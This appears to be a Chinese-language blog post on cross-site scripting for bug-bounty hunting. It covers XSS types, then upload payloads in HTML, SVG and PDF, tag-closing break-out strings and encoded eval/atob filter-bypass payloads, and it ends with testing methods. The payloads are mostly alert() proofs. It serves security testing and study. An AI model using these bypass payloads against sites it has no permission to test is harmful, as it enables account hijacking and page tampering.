XSS

漏洞原理:用户输入的参数被回显到页面且可以闭合 HTML 标签,执行前端代码。

其的本质就是闭合前端代码,从而构筑恶意代码攻击。

Payload:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

基本类型

  • 反射型:代码被插入本 HTML 页面,刷新后就会消失
  • 存储型:代码被存储到数据库,一直存在
  • DOM型:纯前端代码造成的反射型 XSS

文件上传

SRC 上面正常的 XSS 不好挖,可以从文件上传入手:

  • html
  • svg
  • pdf

html

1
2
3
4
5
6
7
<html>
<head>
</head>
<body>
</body>
<script>alert(1);</script>
</html>

svg

1
2
filename=test.svg
Content-Type: image/svg+xml
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="alert(1)"
xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>

pdf

https://www.shipinzhuanhuan.cn/pdfeditor14/

1
app.alert('XSS');

image-20230313164417987

绕过方法

主要思想和绕 WAF 相同,后端进行如果过滤 XSS ?

  1. 符号实体化 - 其他符号?
  2. 关键字过滤 - 同义函数?

闭合

无法闭合标签就闭合属性。

1
2
3
4
5
"><script>alert(1);</script>
*/-->'");></iframe></script></style></title></textarea><a>a</a>
#*/-->'");></iframe></script></style></title></textarea><iframe >
*/-->%cf"%d5'></iframe></script></style></title></textarea>
%0D%0A // 换行

标签

script 、onerror 标签被过滤了如何绕过?

  1. 双写
  2. 大小写
  3. 空字符
  4. 其他标签 Fuzz

语句

当 alert 语句被过滤,如何绕过?

可以尝试eval触发,并把alert语句编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// JS16编码
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>
//ASCII转UTF-16
<img src="1" onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")>
//ASCII转Unicode
<img src="1" onerror=eval("&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;")>
//ASCII转Hex
<img src="1" onerror=eval("&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2F;&#x78;&#x73;&#x73;&#x2F;&#x29;")>
<img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<input onclick="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

其他

空格、括号 => /

引号 => 反引号

漏洞挖掘

黑盒测试:

  1. 先使用一个表示作为参数如 “9999”,然后看响应包中是否包含
  2. 如果有回显那么就看下能否绕过过滤构造 payload

还有一种方法是 JS 审计,这个只搞过一次,挖到了 DOM XSS,不过不收。其主要就是看 JS 的写法,看那里的参数可控,这些可控参数又经历哪些操作?是否危险?

白盒审计:

  1. PHP 直接搜索页面输出函数,黑白结合测试即可
  2. Java 先看过滤器,然后找功能点进行测试

自动化工具:w8ay 佬的 xscan


XSS
https://liancccc.github.io/2024/03/15/技术/TOP10/XSS/
作者
守心
发布于
2024年3月15日
许可协议